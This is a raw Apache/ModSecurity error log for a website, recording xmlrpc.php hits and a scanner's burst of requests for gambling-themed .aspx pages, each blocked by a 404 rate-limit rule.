[Fri Feb 20 08:29:31.244068 2026] [:error] [pid 22495:tid 22515] [client 218.146.244.189:51086] [client 218.146.244.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 218.146.244.189, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aZeq66zhuDxEcqzNb1KMZAAAAlI"]
[Fri Feb 20 08:31:23.480306 2026] [:error] [pid 22593:tid 22605] [client 124.217.18.34:27511] [client 124.217.18.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 124.217.18.34, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aZerW_yNLWpYZrEp9vUujAAAAoo"]
[Fri Feb 20 08:45:21.597770 2026] [:error] [pid 22083:tid 22098] [client 51.83.101.126:36226] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aZeuofK5OtWAzFVJ_9KYeAAAAU0"]
[Fri Feb 20 08:45:24.071120 2026] [:error] [pid 417:tid 428] [client 51.83.101.126:56100] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aZeupGZ8vv9H56paZ2A9KwAAAQk"]
[Fri Feb 20 08:45:26.653917 2026] [:error] [pid 64404:tid 64445] [client 51.83.101.126:56108] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aZeupsg5Wkqq1wjajcC8pQAAAEU"]
[Fri Feb 20 08:45:29.230458 2026] [:error] [pid 22200:tid 22205] [client 51.83.101.126:48784] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aZeuqSR0iwS_xZvYegCLTgAAAYI"]
[Fri Feb 20 08:45:31.841185 2026] [:error] [pid 22593:tid 22604] [client 51.83.101.126:48788] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aZeuq_yNLWpYZrEp9vUyAAAAAok"]
[Fri Feb 20 08:45:34.296185 2026] [:error] [pid 22278:tid 22299] [client 51.83.101.126:48794] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aZeurl0FtS8l4lgFYkAajQAAAdI"]
[Fri Feb 20 08:45:36.661111 2026] [:error] [pid 22593:tid 22616] [client 51.83.101.126:35002] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aZeusPyNLWpYZrEp9vUyBAAAApU"]
[Fri Feb 20 08:45:40.957906 2026] [:error] [pid 39704:tid 39736] [client 51.83.101.126:35010] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZeutEyMSFDmCIRHNOflrAAAANA"]
[Fri Feb 20 08:45:43.436898 2026] [:error] [pid 39705:tid 39774] [client 51.83.101.126:35014] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZeut2LlH-A0eKa6oP7QZwAAAQ8"]
[Fri Feb 20 08:45:45.954153 2026] [:error] [pid 39818:tid 39835] [client 51.83.101.126:35020] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZeuuWQMTpiKlnmsoKbaEAAAAI0"]
[Fri Feb 20 08:45:48.599027 2026] [:error] [pid 39704:tid 39733] [client 51.83.101.126:47544] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZeuvEyMSFDmCIRHNOflyAAAAM0"]
[Fri Feb 20 08:45:51.034085 2026] [:error] [pid 39706:tid 39795] [client 51.83.101.126:47560] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZeuv1HCi9Thcb5pcMTAAAAAAUg"]
[Fri Feb 20 08:45:53.645696 2026] [:error] [pid 39818:tid 39840] [client 51.83.101.126:47566] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aZeuwWQMTpiKlnmsoKbaLgAAAJI"]
[Fri Feb 20 08:45:55.972837 2026] [:error] [pid 39704:tid 39723] [client 51.83.101.126:47576] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZeuw0yMSFDmCIRHNOfl3wAAAMM"]
[Fri Feb 20 08:45:58.376641 2026] [:error] [pid 39818:tid 39822] [client 51.83.101.126:48390] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZeuxmQMTpiKlnmsoKbaOgAAAIA"]
[Fri Feb 20 08:46:00.766845 2026] [:error] [pid 39705:tid 39761] [client 51.83.101.126:48400] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZeuyGLlH-A0eKa6oP7QlgAAAQI"]
[Fri Feb 20 08:46:03.186317 2026] [:error] [pid 39818:tid 39843] [client 51.83.101.126:48404] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZeuy2QMTpiKlnmsoKbaRgAAAJU"]
[Fri Feb 20 08:46:05.683617 2026] [:error] [pid 39818:tid 39828] [client 51.83.101.126:48420] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aZeuzWQMTpiKlnmsoKbaTwAAAIY"]
[Fri Feb 20 08:46:08.222755 2026] [:error] [pid 39818:tid 39846] [client 51.83.101.126:35198] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aZeu0GQMTpiKlnmsoKbaUwAAAJg"]
[Fri Feb 20 08:46:10.730644 2026] [:error] [pid 39704:tid 39733] [client 51.83.101.126:35206] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aZeu0kyMSFDmCIRHNOfmBQAAAM0"]
[Fri Feb 20 08:46:13.368938 2026] [:error] [pid 39706:tid 39789] [client 51.83.101.126:35208] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aZeu1VHCi9Thcb5pcMTANAAAAUI"]
[Fri Feb 20 08:46:15.799706 2026] [:error] [pid 39705:tid 39776] [client 51.83.101.126:35224] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aZeu12LlH-A0eKa6oP7QqwAAARE"]
[Fri Feb 20 08:46:18.398457 2026] [:error] [pid 39705:tid 39777] [client 51.83.101.126:36312] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aZeu2mLlH-A0eKa6oP7QsgAAARI"]
[Fri Feb 20 08:46:39.429106 2026] [:error] [pid 39818:tid 39826] [client 51.83.101.126:36320] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aZeu72QMTpiKlnmsoKba7QAAAIQ"]
[Fri Feb 20 08:46:41.868792 2026] [:error] [pid 39705:tid 39765] [client 51.83.101.126:47400] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aZeu8WLlH-A0eKa6oP7REAAAAQY"]
[Fri Feb 20 08:46:44.268466 2026] [:error] [pid 39704:tid 39725] [client 51.83.101.126:47402] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZeu9EyMSFDmCIRHNOfmlQAAAMU"]
[Fri Feb 20 08:46:46.713647 2026] [:error] [pid 39706:tid 39801] [client 51.83.101.126:41104] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZeu9lHCi9Thcb5pcMTAggAAAU4"]
[Fri Feb 20 08:46:49.353046 2026] [:error] [pid 39704:tid 39722] [client 51.83.101.126:41120] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZeu-UyMSFDmCIRHNOfmnQAAAMI"]
[Fri Feb 20 08:46:51.938969 2026] [:error] [pid 39706:tid 39806] [client 51.83.101.126:41128] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZeu-1HCi9Thcb5pcMTAiwAAAVM"]
[Fri Feb 20 08:46:54.475503 2026] [:error] [pid 39704:tid 39729] [client 51.83.101.126:41144] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aZeu_kyMSFDmCIRHNOfmrAAAAMk"]
[Fri Feb 20 08:46:57.176000 2026] [:error] [pid 39705:tid 39773] [client 51.83.101.126:37994] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZevAWLlH-A0eKa6oP7RPAAAAQ4"]
[Fri Feb 20 08:46:59.662387 2026] [:error] [pid 39705:tid 39779] [client 51.83.101.126:37998] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aZevA2LlH-A0eKa6oP7RRAAAARQ"]
[Fri Feb 20 08:47:02.110349 2026] [:error] [pid 39705:tid 39770] [client 51.83.101.126:38002] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aZevBmLlH-A0eKa6oP7RTQAAAQs"]
[Fri Feb 20 08:47:04.741703 2026] [:error] [pid 39704:tid 39731] [client 51.83.101.126:38018] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aZevCEyMSFDmCIRHNOfmuQAAAMs"]
[Fri Feb 20 08:47:07.290879 2026] [:error] [pid 39704:tid 39742] [client 51.83.101.126:47460] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aZevC0yMSFDmCIRHNOfmwQAAANY"]
[Fri Feb 20 08:47:09.931785 2026] [:error] [pid 39706:tid 39799] [client 51.83.101.126:47470] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aZevDVHCi9Thcb5pcMTAuAAAAUw"]
[Fri Feb 20 08:47:12.682694 2026] [:error] [pid 39705:tid 39765] [client 51.83.101.126:47476] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZevEGLlH-A0eKa6oP7RewAAAQY"]
[Fri Feb 20 08:47:15.081071 2026] [:error] [pid 39818:tid 39834] [client 51.83.101.126:47490] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZevE2QMTpiKlnmsoKbbUQAAAIw"]
[Fri Feb 20 08:47:17.731146 2026] [:error] [pid 39704:tid 39730] [client 51.83.101.126:34454] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZevFUyMSFDmCIRHNOfm6wAAAMo"]
[Fri Feb 20 08:47:20.092280 2026] [:error] [pid 39818:tid 39842] [client 51.83.101.126:34460] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZevGGQMTpiKlnmsoKbbYAAAAJQ"]
[Fri Feb 20 08:47:22.552642 2026] [:error] [pid 39704:tid 39723] [client 51.83.101.126:34466] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZevGkyMSFDmCIRHNOfnAQAAAMM"]
[Fri Feb 20 08:47:24.934743 2026] [:error] [pid 39818:tid 39829] [client 51.83.101.126:34476] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZevHGQMTpiKlnmsoKbbtgAAAIc"]
[Fri Feb 20 08:47:27.632650 2026] [:error] [pid 39705:tid 39762] [client 51.83.101.126:49004] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZevH2LlH-A0eKa6oP7RlwAAAQM"]
[Fri Feb 20 08:47:30.023206 2026] [:error] [pid 39706:tid 39798] [client 51.83.101.126:49012] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aZevIlHCi9Thcb5pcMTBDAAAAUs"]
[Fri Feb 20 08:47:32.522980 2026] [:error] [pid 39704:tid 39727] [client 51.83.101.126:49014] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aZevJEyMSFDmCIRHNOfnRAAAAMc"]
[Fri Feb 20 08:47:35.108404 2026] [:error] [pid 39704:tid 39741] [client 51.83.101.126:49016] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZevJ0yMSFDmCIRHNOfnUwAAANU"]
[Fri Feb 20 08:47:56.032275 2026] [:error] [pid 39818:tid 39824] [client 51.83.101.126:41008] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aZevPGQMTpiKlnmsoKbcvgAAAII"]
[Fri Feb 20 08:47:58.473701 2026] [:error] [pid 39818:tid 39825] [client 51.83.101.126:35902] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aZevPmQMTpiKlnmsoKbcxgAAAIM"]
[Fri Feb 20 08:48:01.067356 2026] [:error] [pid 39818:tid 39840] [client 51.83.101.126:35918] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aZevQWQMTpiKlnmsoKbc0gAAAJI"]
[Fri Feb 20 08:48:03.514720 2026] [:error] [pid 39705:tid 39764] [client 51.83.101.126:35928] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZevQ2LlH-A0eKa6oP7SGAAAAQU"]
[Fri Feb 20 08:48:06.090633 2026] [:error] [pid 39706:tid 39802] [client 51.83.101.126:35934] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aZevRlHCi9Thcb5pcMTBdQAAAU8"]
[Fri Feb 20 08:48:08.689438 2026] [:error] [pid 39705:tid 39775] [client 51.83.101.126:49492] [client 51.83.101.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aZevSGLlH-A0eKa6oP7SJQAAARA"]
